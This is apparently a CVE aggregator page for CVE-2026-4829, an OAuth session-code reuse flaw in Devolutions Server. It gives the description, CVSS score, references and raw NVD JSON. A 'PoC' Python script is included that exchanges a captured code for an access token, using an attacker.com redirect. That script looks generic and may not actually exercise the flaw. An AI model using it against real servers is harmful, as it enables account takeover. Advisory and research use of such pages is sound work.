CVE-2026-4829

Description

Improper authentication in the external OAuth authentication flow in Devolutions Server 2026.1.11 and earlier allows an authenticated user to authenticate as other users, including administrators, via reuse of a session code from an external authentication flow.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE

Devolutions Server <= 2026.1.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL for token endpoint
target_url = "https://<devolutions-server>/oauth/token"

# The session code captured or reused from an external auth flow
reused_session_code = "CAPTURED_AUTHORIZATION_CODE"

# Payload to exploit the improper authentication
payload = {
    "grant_type": "authorization_code",
    "code": reused_session_code,
    "client_id": "attacker_client_id",
    "redirect_uri": "https://attacker.com/callback"
}

try:
    # Send the request to exchange the code for an access token
    response = requests.post(target_url, data=payload)

    if response.status_code == 200:
        print("[+] Exploit Successful!")
        print("[+] Access Token: " + response.json().get("access_token"))
    else:
        print("[-] Exploit Failed. Status Code: " + str(response.status_code))
        print(response.text)
except Exception as e:
    print("Error: " + str(e))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4829
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4829
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4829/
[4] VulDB https://vuldb.com/cve/CVE-2026-4829
[5] https://devolutions.net/security/advisories/DEVO-2026-0010

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4829", "sourceIdentifier": "[email protected]", "published": "2026-04-01T16:23:51.547", "lastModified": "2026-04-03T19:26:30.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication in the external OAuth authentication flow in Devolutions Server 2026.1.11 and earlier allows an authenticated user to authenticate as other users, including administrators, via reuse of a session code from an external authentication flow."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.12.0", "matchCriteriaId": "D3BB01B0-3726-41D5-885E-AA4EAC294D5F"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0010", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}